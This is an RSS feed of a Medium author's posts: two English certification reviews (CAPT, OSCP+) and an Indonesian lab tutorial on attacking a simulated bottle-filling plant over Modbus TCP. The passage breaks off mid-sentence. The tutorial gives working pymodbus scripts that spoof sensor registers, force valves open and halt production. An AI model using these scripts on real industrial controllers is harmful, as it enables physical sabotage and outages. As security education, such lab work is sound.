<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anugrah Gilang Ramadhan on Medium]]></title>
        <description><![CDATA[Stories by Anugrah Gilang Ramadhan on Medium]]></description>
        <link>https://medium.com/@ganugrah233?source=rss-85f60a9e73c8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*pogzy-2H-uE9_3DgpB0N-A.jpeg</url>
            <title>Stories by Anugrah Gilang Ramadhan on Medium</title>
            <link>https://medium.com/@ganugrah233?source=rss-85f60a9e73c8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 11:57:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ganugrah233/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A quick break to explore another path before heading back to Offsec.]]></title>
            <link>https://medium.com/@ganugrah233/a-quick-break-to-explore-another-path-before-heading-back-to-offsec-bd439e972724?source=rss-85f60a9e73c8------2</link>
            <guid isPermaLink="false">https://medium.com/p/bd439e972724</guid>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Anugrah Gilang Ramadhan]]></dc:creator>
            <pubDate>Wed, 02 Dec 2026 22:48:40 GMT</pubDate>
            <atom:updated>2026-12-02T22:48:40.671Z</atom:updated>
            <content:encoded><![CDATA[<h3>A quick break to explore another path before heading back to Offsec. A really great certification from the Mobile Hacking Lab (CAPT)</h3><p>Mobile Hacking Lab — Certified Android Penetration Tester (CAPT)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CvczE_iIUjdpOQLk910vIA.png" /></figure><p>Perhaps, as the name suggests, this exam focuses on the penetration testing process — specifically the analysis phase — and actually carrying out attacks that impact Android mobile applications. First before the review, let’s talk about pricing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*b4WNLmxLQ6hJBpyjiUQ5Bg.png" /></figure><p>Link: <a href="https://www.mobilehackinglab.com/courses/capt-certification">https://www.mobilehackinglab.com/courses/capt-certification</a></p><p>The price for this certification is €249, but you can take advantage of various bundle offers to get even better value, or wait for a discount from Mobile Hacking Lab. It’s definitely worth it because you’ll learn a lot from the exam, and right now, in my opinion, this certification is more useful for real-world scenarios than certifications from some providers — like EMAPT — that are no longer relevant.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dVSaXhEeG2ZY1Pcpczdbvg.png" /></figure><p>Link: <a href="https://www.mobilehackinglab.com/api/auth/sso/learnworlds?redirectUrl=https%3A%2F%2Facademy.mobilehackinglab.com%2Fpath-player%3Fcourseid%3Dandroid-appsec%26unit%3D664ae9d8196211b84f0b43e5Unit">https://www.mobilehackinglab.com/api/auth/sso/learnworlds?redirectUrl=https%3A%2F%2Facademy.mobilehackinglab.com%2Fpath-player%3Fcourseid%3Dandroid-appsec%26unit%3D664ae9d8196211b84f0b43e5Unit</a></p><p>Before taking the exam, Mobile Hacking Lab offers free training for beginners in Android penetration testing. This curriculum is sufficient to prepare you for the exam; you just need to practice many cases outside the course and try real-world exercises, because, as with most certifications, you’ll still need to have knowledge beyond what’s provided.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*QMivDwSb22z8FVZzgRd4jQ.png" /></figure><p>The course materials will teach you the basics; for the rest, explore on your own and always refer to the OWASP Top 10 Mobile and MASVS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vNKnDLEX-7-LL2v3mHWkqg.png" /></figure><p>The CAPT exam format involves conducting penetration testing on protected applications — simulating real-world scenarios — and preparing a penetration testing report. You will have 72 hours to complete the task, which includes reporting, so be sure to finish within that timeframe. In your report, document your findings with a clear proof of concept and a clear exploit script. You might think you can use AI, but in my opinion, they’ll evaluate your report and should be able to tell when you’re using AI exclusively, because the Mobile Hacking Lab is staffed by highly skilled professionals who are regular champions at PWN2OWN.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*JK4bOhP97kTq0vtImd13eA.png" /></figure><p>The exam consists of black-box and gray-box testing, as you’ll encounter API-related scenarios — which, once again, align with real-world mobile penetration testing scenarios. The Mobile Hacking Lab provides the Corellium Emulator for this exam to enable more stable exploitation on a local device; if a vulnerability you’re analyzing doesn’t work on your local device, you can be certain it will work on their virtual devices, as they’ve prepared for this scenario.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q_J871DYzQD60jdYFxGT-A.png" /></figure><p>You’ll receive feedback on whether you passed or failed a few days after submitting your report; in my case, it was two days after submission. If you fail, don’t worry — Mobile Hacking Lab offers up to 30 free retakes for all certifications. Finally, I’d like to say that you’ll definitely get your money’s worth by purchasing this certification. You’ll learn a lot, and it’s exciting to be able to perform exploits based on real-world cases corresponding to actual CVEs.</p><p>Refrence:</p><ul><li><a href="https://blog.deephacking.tech/en/posts/mhl-capt-review/">CAPT Review - Mobile Hacking Lab Certified Android Penetration Tester 2026 - Deep Hacking</a></li><li><a href="https://mas.owasp.org/MASVS/">OWASP MASVS - OWASP Mobile Application Security</a></li><li><a href="https://owasp.org/projects/mobile-top-10">OWASP Mobile Top 10 | OWASP Foundation</a></li></ul><p><a href="https://www.mobilehackinglab.com/courses/capt-certification?srsltid=AY6E962jsS7_tQZMmNLpvLRnQTQYvLzdnPM08CqY61e5I65IX2oStirf">https://www.mobilehackinglab.com/courses/capt-certification?srsltid=AY6E962jsS7_tQZMmNLpvLRnQTQYvLzdnPM08CqY61e5I65IX2oStirf</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bd439e972724" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP+ Update Exam Still Worth it on 2026?]]></title>
            <link>https://medium.com/@ganugrah233/oscp-update-exam-still-worth-it-on-2026-b895e15114b0?source=rss-85f60a9e73c8------2</link>
            <guid isPermaLink="false">https://medium.com/p/b895e15114b0</guid>
            <category><![CDATA[oscp-like-boss]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Anugrah Gilang Ramadhan]]></dc:creator>
            <pubDate>Thu, 29 Oct 2026 00:21:36 GMT</pubDate>
            <atom:updated>2026-10-29T00:21:36.657Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Take this certification indicate you preapare for mentality</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*eBZ7vb05imCr7xUsszZ6CA.png" /></figure><p>Hello — after a long hiatus from blogging, I’ve decided to write a review of the OSCP+ certification this time. I’d like to mention that this certification is Offsec’s entry-level professional certification. To earn this certification, you can visit <a href="https://portal.offsec.com/">portal.offsec.com</a> and purchase the Pen 200 package right away. You have two options at the same price : package 1 includes 3 months of OSCP modules and challenges plus one exam attempt, while Package 2 includes two exam attempt vouchers. The OSCP lab consists of one Active Directory cluster comprising three machines, including a domain controller, and features three standalone Linux or Windows challenges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r3bljvYS-1g_-OFBrkfLNw.jpeg" /></figure><p>Here’s a little background, I purchased this certification in August 2026. I had previously taken a similar exam from Hack The Box — the CPTS. I felt that the modules provided during my CPTS preparation were sufficient and covered everything I needed, so I spent the two months of the course working on the Pen 200 OSCP challenges included in the first package and subscribing to PG Practice to familiarize myself with Offsec’s machines. The difference I noticed when working on Offsec machines compared to HTB was in the depth of the enumeration and the exploitation techniques. Offsec machines don’t require highly complex exploits like those on HTB, but to successfully exploit them, we must perform in-depth enumeration and gather a lot of information to piece together into an attack strategy. Two months after purchasing my OSCP package, I immediately scheduled my exam for September. While preparing, I also diligently took notes on every machine I worked on — whether I finished it or not, I still recorded it. Furthermore — whether it proves useful or not — when you have an OSCP package that includes modules and challenges, you’ll receive three retired OSCP exam packages from Offsec. I worked through all three repeatedly, up to 6–7 times, to explore different solution approaches and to familiarize myself with the Offsec Active Directory environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*5nq7AXNkuNUCq5cV1nMDrw.png" /></figure><p>Exam Day: The OSCP exam is proctored live with the camera on and all active screens shared. The exam session is divided into two parts: the pre-exam and the exam itself. During the pre-exam, preparations are made — such as running scripts from Offsec to prevent cheating and conducting identity verification to ensure no cheating occurs or that a different person takes the exam. Next, my VPN credentials were finally sent via email, and I began the exam. Of course, what I had in mind about this exam was that it lasted 24 hours, and we were given challenges to complete within that time. For the first 4 hours, I had 0 points on the AD machine. It was stressful, and I couldn’t perform privilege escalation on the first machine. I took a break to calm down and eat. After returning, I tried working on a standalone Windows machine, and finally got my first 10 flags at the 7-hour mark, followed by a privilege escalation 30 minutes later. My total score was 20 after the first 8 hours. After that, I took a break. When I returned in the late afternoon, I obtained a local flag on another Windows machine but was unable to achieve privilege escalation. Then I moved on to a Linux machine and obtained a local flag after 1 hour of enumeration; it took another 2 hours before I finally achieved the root privilege escalation flag. My total flags stood at 50 after the first 11 hours. After that, I took a fairly long break and came back. Then I thought of an AD service, so I tried to exploit it — and it turned out I successfully gained admin access and an additional 10 flags, bringing my total to 60 flags at the 15-hour mark. I needed 10 more flags to pass, but I didn’t manage to get them by the end. My first attempt failed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*-m_wCQPGVnlNkG7swVDJ5g.png" /></figure><p>Comeback Stronger: After failing my first exam, I tried to review my mistakes by reading my notes from the previous exam. Eventually, I concluded that I needed to improve the methodology I was using, because if I relied solely on muscle memory, I would just feel and guess — even though that might actually be the right approach. An example of the methodology I applied was taking action when I received information without guessing and writing down everything I discovered. Finally, after a 4-week cooling-off period (Offsec’s rule before being allowed to retake the exam) and working through several exercises from Hack Smarter, I scheduled the exam for October — four weeks after my first attempt. This time, I approached it with a different mindset, more effective preparation (rather than just focusing on quantity), and better sleep.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*ATFWaVqUabMf8FGhIIWDcQ.png" /></figure><p>The day of the retake exam arrived: I approached it much more calmly than the first exam and treated it as just another machine challenge as usual. As a result, I successfully pwned the AD machine within 3 hours, followed by earning the points needed to qualify in the next 3 hours, so within the first 6 hours I had earned enough points to qualify. After that, I felt tired — perhaps because my goal of seeing if I could pass this exam had already been achieved. I tried to reach 100 points, but I ended up just at the passing threshold. That’s okay — I gave it my best shot and proved myself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*pLJfjVCa3yoJV6oIkGJl8A.png" /></figure><p>The day after the exam, I submitted a detailed and thorough report, and the next day I finally received a message saying I had passed the exam. Here are the takeaways from my experience:<br>- The OSCP exam requires a lot of enumeration, but the exploitation level isn’t difficult.<br>- The OSCP will test your time management skills from preparation through the exam.<br>Here are some tips if you want to take the OSCP:<br>- Sign up for a bundle that includes a course if you have no prior experience in a similar field.<br>- Work through the challenge lists from Kusanagi, whether from “Hack Smarter” or other circulating lists.<br>- Develop a methodology that works for you so you don’t have to guess, stay on the right track, and avoid wasting time on dead ends.<br>Here are some great links for preparation in addition to the OSCP course and PG practice</p><ul><li>Lain kusanagi practice exam on hacksmarter: <a href="https://www.hacksmarter.org/paths/c7380cbd-bdb7-4cf8-a6bc-0976fa49c4c1">https://www.hacksmarter.org/paths/c7380cbd-bdb7-4cf8-a6bc-0976fa49c4c1</a></li><li>Lain Kusanagi OSCP Prepare update list: <a href="https://docs.google.com/spreadsheets/d/18weuz_Eeynr6sXFQ87Cd5F0slOj9Z6rt/edit?gid=487240997#gid=487240997">https://docs.google.com/spreadsheets/d/18weuz_Eeynr6sXFQ87Cd5F0slOj9Z6rt/edit?gid=487240997#gid=487240997</a></li></ul><p>Finally, I want to say: don’t underestimate the OSCP — even though some people say it’s simpler than other certifications, you should still prepare thoroughly. That’s all for this review — thank you!</p><p>#OSCP #OSCP+ #EXAM</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b895e15114b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacking ICS #1 - Basic OT/ICS Security (Bottle filling factory)]]></title>
            <link>https://medium.com/@ganugrah233/attacking-ics-1-basic-ot-ics-security-bottle-filling-factory-1d274065690a?source=rss-85f60a9e73c8------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d274065690a</guid>
            <category><![CDATA[ics-exploit]]></category>
            <category><![CDATA[ics-security]]></category>
            <category><![CDATA[ot-security]]></category>
            <dc:creator><![CDATA[Anugrah Gilang Ramadhan]]></dc:creator>
            <pubDate>Mon, 06 Jul 2026 18:55:29 GMT</pubDate>
            <atom:updated>2026-07-06T19:16:16.682Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*vhunTBeziwspVc7SviAhsA.png" /></figure><p>Halo, back again after lama ga buat tulisan. Saat ini saya sedang melakukan research OT/ICS security. Kali ini saya mendokumentasikan belajar saya terhadap ICS attacking yang masih tergolong basic, lanjutan dari OT/ICS Security akan terus saya publikasikan secara bertahap.</p><p>Sebelum masuk ke bagian eksploitasi mari sedikit berkenalan dengan OT/ICS sistem yang akan kita eksplore dan beberapa istilah yang perlu diketahui.</p><h4><strong>Apa itu Modbus?</strong></h4><p>Modbus adalah protokol komunikasi industri yang dikembangkan oleh Modicon (sekarang Schneider Electric) pada tahun 1979. Protokol ini menjadi standar de facto di dunia OT/ICS karena spesifikasinya terbuka dan royalty-free — artinya siapa pun bisa implementasi tanpa bayar lisensi. Modbus bekerja dengan arsitektur master/slave: satu master (biasanya PLC, HMI, atau komputer) mengontrol satu atau lebih slave (sensor, motor, valve, dll). Master yang punya inisiatif untuk membaca dan menulis data; slave cuma bisa menjawab ketika diminta — inilah mekanisme komunikasinya.<br>Modbus menyimpan data dalam bentuk register dengan empat tipe utama: Coil (1-bit, bisa baca/tulis), Discrete Input (1-bit, cuma baca), Input Register (16-bit, cuma baca), dan Holding Register (16-bit, bisa baca/tulis). Masing-masing register diakses menggunakan Function Code tertentu — misalnya FC3 untuk baca Holding Register, FC6 untuk tulis satu Holding Register, FC5 untuk tulis Coil. Kombinasi dari register dan function code inilah yang menjadi “obrolan” antara master dan slave dalam ekosistem Modbus. Berikut adalah gambar tabel Function Code Modbus.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*vBrA2Rt-bTfskTTuOzaYMg.png" /><figcaption>Function Code Modbus</figcaption></figure><p>Terus kenapa Holding Register dan Coil yang dilingkari merah? Karena di sinilah celah keamanannya — Modbus tidak memiliki autentikasi. Siapa pun yang bisa mencapai jaringan (termasuk attacker) bisa menulis register ini seenaknya, tanpa perlu login atau izin. Di artikel ini, kita akan mengeksploitasi celah tersebut pada simulator pabrik pengisian botol.</p><h4><strong>Simulator dan Tools</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*FLAsdlXXMJfjuK0Xl8HzYA.png" /><figcaption>Simulator</figcaption></figure><p>Gambar di atas menampilkan <strong>VirtuaPlant</strong>, sebuah simulator lingkungan <em>Industrial Control System</em> (ICS) yang memodelkan proses otomasi pabrik pengisian botol. Dalam skenario ini, seluruh pergerakan mekanis dikendalikan oleh sebuah <em>Programmable Logic Controller</em> (PLC) yang bergantung pada input dari sensor untuk menggerakkan aktuator.</p><p>Proses ini berjalan dalam sebuah <em>loop</em> berkelanjutan yang melibatkan tiga komponen utama:</p><ul><li><strong>Roller Signal (Sensor Posisi / <em>Proximity</em>):</strong> Bertindak sebagai <em>Discrete Input</em> (Data Read-Only). Titik hijau di bagian bawah ini mendeteksi apakah sebuah botol sudah berada tepat di bawah <em>nozzle</em>. Saat botol terdeteksi, sensor mengirimkan sinyal ke PLC untuk menghentikan motor <em>conveyor</em> dan memulai pengisian.</li><li><strong>Nozzle (Aktuator / <em>Valve</em>):</strong> Bertindak sebagai <em>Coil</em> (Data Read/Write). Kotak hitam ini adalah katup air yang menerima perintah eksekusi dari PLC. Ketika PLC menerima sinyal bahwa botol sudah di posisi yang benar, memori status <em>nozzle</em> akan diubah (misalnya dari 0 menjadi 1) agar katup terbuka dan air mengalir.</li><li><strong>Level Sensor (Sensor Kapasitas):</strong> Bertindak sebagai <em>Discrete Input</em> (Data Read-Only). Titik merah di batas atas botol berfungsi mendeteksi batas maksimal air. Jika air menyentuh sensor ini, sinyal dikirim ke PLC untuk segera mematikan <em>nozzle</em> (mencegah tumpah) dan menyalakan kembali <em>conveyor</em> untuk membawa botol berikutnya.</li></ul><p>Dalam simulasi serangan ICS ini, kita akan menggunakan beberapa komponen yang terbagi dalam tiga kategori utama:</p><p><strong>1. Target &amp; Jalur Komunikasi</strong></p><ul><li><strong>VirtuaPlant:</strong> Simulator ICS interaktif yang bertindak sebagai target eksploitasi pabrik (simulasi sistem fisik).</li><li><strong>Modbus TCP (Port 502):</strong> Protokol komunikasi standar industri yang menghubungkan penyerang (<em>attacker</em>) dengan PLC pada simulator.</li></ul><p><strong>2. Lingkungan Pemrograman (Environment)</strong></p><ul><li><strong>Python 3:</strong> Bahasa <em>scripting</em> utama yang digunakan untuk merakit alat eksploitasi kustom.</li><li><strong>Pymodbus (v1.5.2):</strong> <em>Library</em> Python yang berfungsi sebagai jembatan, memungkinkan <em>script</em> kita untuk “berbicara” langsung dengan protokol Modbus TCP.</li></ul><p><strong>3. Script Eksploitasi (Payloads)</strong></p><ul><li><strong>discovery.py (Reconnaissance):</strong> <em>Script</em> pengintaian yang memanfaatkan <em>Function Code</em> 3 (FC3) untuk membaca <em>Holding Registers</em>. Tujuannya adalah memetakan alamat memori PLC sebelum diserang. isi scriptnya :</li><li><strong>craft.py (Execution):</strong> <em>Script</em> penyerangan yang memanfaatkan <em>Function Code</em> 6 (FC6) untuk menulis atau memanipulasi nilai pada <em>Holding Registers</em>, mengambil alih kendali komponen pabrik.</li></ul><p><strong>Penjelasan: </strong><strong>pip3 install pymodbus==1.5.2</strong></p><p>Perintah pip3 install pymodbus==1.5.2 adalah baris perintah (CLI) yang dijalankan di terminal Linux/MacOS (atau Command Prompt/PowerShell di Windows) Anda.</p><p><strong>Maksud dari perintah tersebut:</strong> Anda menginstruksikan <strong>PIP</strong> (<em>package installer</em> bawaan Python) untuk mengunduh dan menginstal pustaka pymodbus.</p><p><strong>Kenapa harus ada </strong><strong>==1.5.2?</strong> Ini adalah bagian yang sangat penting dalam sebuah lab atau eksploitasi. Tanda == memaksa sistem untuk menginstal <strong>versi spesifik</strong> tersebut (bukan versi yang paling baru). Dalam dunia eksploitasi atau lab seperti THM, <em>script</em> discovery.py dan craft.py biasanya ditulis menggunakan <em>syntax</em> dari pustaka versi lama. Jika Anda menginstal Pymodbus versi terbaru (misalnya versi 3.x), struktur kodenya sudah jauh berbeda dan <em>script</em> penyerangan Anda kemungkinan besar akan mengalami <em>error</em> (<em>broken dependency</em>).</p><p><strong>Cara eksekusinya:</strong> Cukup jalankan perintah ini di terminal Anda sebelum mengeksekusi <em>script</em> Python-nya:</p><pre>pip3 install pymodbus==1.5.2</pre><h4><strong>Process</strong></h4><ol><li>Reconnaissance</li></ol><p>Proses pengumpulan informasi menggunakan script `discover.py`berikut</p><pre>#!/usr/bin/env python3<br><br>import sys<br>import time<br>from pymodbus.client.sync import ModbusTcpClient as ModbusClient<br>from pymodbus.exceptions import ConnectionException<br><br>ip = sys.argv[1]<br>client = ModbusClient(ip, port=502)<br>client.connect()<br>while True:<br>    rr = client.read_holding_registers(1, 16)<br>    print(rr.registers)<br>    time.sleep(1)</pre><p>Script discover.py di atas digunakan untuk melakukan pengumpulan (<em>reconnaissance</em>) secara <em>real-time</em> terhadap memori PLC target. Berikut adalah analisis dari baris kode tersebut:</p><ul><li><strong>Koneksi (Port 502):</strong> Script menginisiasi koneksi ke IP target menggunakan protokol <strong>Modbus TCP</strong> melalui <em>port</em> default 502. Pada skenario <em>real-world</em> ICS tradisional maupun lab ini, protokol tersebut dijalankan tanpa mekanisme autentikasi (<em>no auth</em>), sehingga siapa pun yang berada di jaringan yang sama dapat langsung terhubung.</li><li><strong>Pemetaan Memori:</strong> Fungsi client.read_holding_registers(1, 16) bertugas untuk membaca nilai (data) dari <em>Holding Registers</em> secara berurutan, mulai dari alamat 1 hingga 16.</li><li><strong>Monitoring Real-Time:</strong> Penggunaan <em>looping</em> while True yang dikombinasikan dengan time.sleep(1) sangat krusial di sini. Tujuannya adalah untuk mencetak <em>array</em> nilai memori setiap detiknya, memungkinkan kita memantau secara langsung <em>register</em> mana yang nilainya berubah (dari 0 ke 1) saat mesin simulator sedang beroperasi.</li></ul><blockquote><strong><em>Catatan Transisi ke Eksploitasi:</em></strong><em> &gt; Melalui proses </em>monitoring<em> inilah kita berhasil memetakan register-register yang digunakan mengontrol </em>nozzle<em> air. Berbekal pemetaan ini, kita siap melangkah ke tahap eksploitasi untuk memanipulasi logika pabrik.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xf2ZUNV26dKcAJ4_O61M5w.png" /><figcaption>Reconnaissance Menggunakan discover.py</figcaption></figure><p>Proses Normal (Loop):<br>Step 1: [1, 0, 1, 0, 0,0,0,0,0,0,0,0,0,0,0, 1]<br> botol PENUH → posisi LUAR nozzle → ROLLER JALAN → nozzle TUTUP<br> → Botol penuh dipindah conveyer, botol kosong berikutnya masuk</p><p>Step 2: [0, 1, 0, 1, 0,0,0,0,0,0,0,0,0,0,0, 1]<br> botol KOSONG → posisi DI NOZZLE → ROLLER STOP → nozzle BUKA<br> → Air mengisi botol sampai sensor level (reg1) mendeteksi penuh</p><p>Kembali ke Step 1 → loop terus</p><p>2. Eksploitasi</p><p><strong>Skenario 1: Denial of Service (Menghentikan Total Operasional)</strong></p><p>Ini adalah serangan paling dasar namun berdampak langsung.</p><ul><li><strong>Target:</strong> Register 16 (Plant Start/Stop)</li><li><strong>Kondisi Awal:</strong> Register bernilai 1 (Pabrik berjalan).</li><li><strong>Aksi Penyerang:</strong> Menggunakan craft.py untuk menulis paksa (<em>write/force</em>) Register 16 menjadi 0.</li></ul><p>Hasil:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5fw24f-iZi4liR46cE6OBQ.png" /><figcaption>Jalankan Script</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*gkhjEdJdwDHfLgtPA0kXWg.png" /><figcaption>Analisis Setelah Script Jalan</figcaption></figure><p><strong>Dampak Visual di Simulator:</strong> Seluruh proses terhenti secara instan. <em>Conveyor</em> mati, air tidak mengalir.</p><p><strong>Skenario 2: Sabotase Fisik (Water Overflow / Tumpahan Air)</strong></p><p>Ini adalah skenario paling menarik untuk ditunjukkan karena memiliki efek visual kerusakan fisik.</p><ul><li><strong>Target:</strong> Register 4 (Nozzle Open/Close) dan mengabaikan Register 1 (Sensor Level Air).</li><li><strong>Kondisi Awal:</strong> Nozzle hanya terbuka (1) jika botol tepat berada di bawahnya, dan akan otomatis menutup (0) saat air penuh.</li><li><strong>Aksi Penyerang:</strong> Mengirimkan <em>payload</em> Modbus secara terus-menerus (<em>looping</em> pada craft.py) untuk menahan nilai Register 4 tetap di angka 1.</li></ul><p>Berikut script yang digunakan</p><pre>#!/usr/bin/env python3<br><br>import sys<br>import time<br>from pymodbus.client.sync import ModbusTcpClient as ModbusClient<br>from pymodbus.exceptions import ConnectionException<br><br>ip = sys.argv[1]<br>client = ModbusClient(ip, port=502)<br>client.connect()<br>while True:<br>  client.write_register(1, 0) # paksa tetap 0 agar tidak dideteksi penuh<br>  client.write_register(2, 1) # paksa tetap 1 agar terdeteksi dibawah nozzle<br>  client.write_register(3, 0) # saat botol dibawah nozzler diam agar diisi sampai penuh dan bergerak teris<br>  client.write_register(4, 1) # paksa nozzle open air  terus melebihi batas agar tumpah<br>  client.write_register(16, 1) # start plan<br>  time.sleep(1)</pre><p>Hasil</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aRtMHtcwPKPJcJMMdCGXQg.png" /><figcaption>Jalankan Script</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*prMMA9bU6Tk84iOuFdi8-Q.png" /><figcaption>Hasil Analisis Setelah Script Jalan</figcaption></figure><p>padahal normalnya adalah seperti berikut</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*Aek3aW6xd4QqBm5iKdxgXA.png" /><figcaption>Kondisi Normal</figcaption></figure><p>Penjelasan skenarionya adalah sebagai berikut</p><pre>Penjelasan Per Register:<br>write_register(1, 0)  # SENSOR LEVEL DIPALSUKAN<br>- Nilai normal botol penuh = 1<br>- Dipaksa 0 → PLC mikir botol gak pernah penuh → nozzle terus buka<br>- Akibat: air terus ngalir meski udah melebihi kapasitas<br>write_register(2, 1)  # SENSOR POSISI DIPALSUKAN<br>- Nilai normal botok di nozzle = 1<br>- Dipaksa 1 → PLC yakin botol selalu di posisi pengisian<br>- Akibat: PLC gak pernah ngirim perintah jalan konveyor (reg3)<br>write_register(3, 0)  # KONVEYOR DIMATIKAN<br>- Dipaksa 0 → roller stop, botol diem<br>- Akibat: botol gak pindah kemana-mana, terus-terusan diisi<br>write_register(4, 1)  # NOZZLE DIPAKSA TERBUKA<br>- Dipaksa 1 → katup air kebuka terus<br>- Akibat: air mengucur tanpa henti sampai tumpah<br>write_register(16, 1) # PLANT TETAP NYALA<br>- Dipaksa 1 → sistem keseluruhan aktif<br>- Akibat: semua register bisa diakses<br>Kondisi Selama Jeda (time.sleep(1)):<br>Selama 1 detik jeda, loop internal PLC tetap jalan dalam hitungan milidetik. Yang terjadi:<br>Detik 0.00: Attacker tulis [0,1,0,1,0,0,...,1] → register ter-override <br>Detik 0.05: PLC baca reg1=0 (gak penuh), reg2=1 (ada botol) → lanjut ngisi<br>Detik 0.10: Air udah tumpah, PLC punya safety timer → override reg3=1, reg4=0<br>Detik 0.15-0.95: Konveyor jalan, botol pindah, siklus normal berjalan <br>Detik 1.00: Attacker nulis lagi [0,1,0,1,...] → register di-re-override<br>Hasilnya: Botol kelihatan &quot;bergerak sendiri&quot; karena PLC balik kontrol di sela-sela jeda. Register bergantian nilai attacker dan nilai PLC — terlihat dari output discovery yang acak.</pre><p><strong>Dampak Visual di Simulator:</strong> Air akan terus mengalir dari <em>nozzle</em> tanpa henti, membanjiri pabrik terlepas dari apakah ada botol di bawahnya atau botol sudah penuh.</p><p><strong>Skenario 3: Manipulasi Logika (Mengacaukan Rantai Pasok)</strong></p><p>Skenario ini lebih halus (<em>stealthy</em>), tujuannya bukan merusak, tapi membuat produk menjadi cacat.</p><p>berikut script yang digunakan</p><pre>#!/usr/bin/env python3<br><br>import sys<br>import time<br>from pymodbus.client.sync import ModbusTcpClient as ModbusClient<br>from pymodbus.exceptions import ConnectionException<br><br>ip = sys.argv[1]<br>client = ModbusClient(ip, port=502)<br>client.connect()<br>while True:<br>  client.write_register(1, 0) # paksa botol tidak pernah penuh<br>  client.write_register(2, 0) # paksa botol tidak di nozzle (biar conveyor terus jalan)<br>  client.write_register(3, 1) # KONVEYOR DIPAKSA JALAN TERUS<br>  client.write_register(4, 1) # nozzle tetap buka — air tumpah di sela botol<br>  client.write_register(16, 1) # plant nyala</pre><ul><li><strong>Target:</strong> Register 3 (Roller/Conveyor)</li><li><strong>Kondisi Awal:</strong> Roller berhenti (0) saat botol diisi, dan berjalan (1) saat pengisian selesai.</li><li><strong>Aksi Penyerang:</strong> Memaksa nilai Register 3 untuk selalu 1.</li></ul><p>Hasil</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XIXr5LHT8HRKzzAiR9BnSg.png" /><figcaption>Jalankan Script</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ylzy8cs5e-9u-0TXfLMYA.png" /><figcaption>Hasil Analisis Setelah Script Jaln</figcaption></figure><ul><li><strong>Dampak Visual di Simulator:</strong> Sabuk <em>conveyor</em> tidak akan pernah berhenti. Botol akan terus berjalan melewati <em>nozzle</em> dengan cepat sehingga tidak ada satu pun botol yang terisi air penuh, atau air tumpah ke sela-sela botol.</li></ul><p>Melalui simulasi sederhana pada VirtuaPlant ini, kita bisa melihat secara langsung betapa rentannya sistem ICS konvensional yang tidak menerapkan prinsip keamanan secara ketat. Protokol Modbus TCP yang secara <em>default</em> didesain tanpa enkripsi dan tanpa autentikasi (<em>no-auth</em>) memungkinkan siapa saja di dalam jaringan untuk mengambil alih <em>register</em> memori PLC.</p><p>Seperti yang telah didemonstrasikan pada skenario eksploitasi di atas, dampaknya sangat nyata. Mulai dari sekadar menghentikan total jalur produksi (Denial of Service), merusak kualitas produk akhir secara diam-diam, hingga memaksa aktuator bekerja di luar batas wajarnya yang bisa berujung pada kerusakan fisik mesin atau lingkungan sekitarnya (<em>water overflow</em>). Semuanya bisa dilakukan hanya bermodalkan <em>script</em> Python sederhana.</p><p>Di lingkungan industri <em>real-world</em> modern, sistem SCADA/ICS tentu sudah mulai mengadopsi lapisan pertahanan yang lebih baik, seperti segmentasi jaringan (Purdue Model), <em>industrial firewall</em>, hingga transisi ke protokol komunikasi yang lebih aman. Namun, memahami fondasi kelemahan <em>basic</em> ini adalah langkah krusial yang wajib dikuasai sebelum menguji infrastruktur kritikal yang lebih kompleks.</p><p>Sekian dokumentasi <em>research</em> awal saya. Nantikan tulisan seri OT/ICS Security selanjutnya, di mana 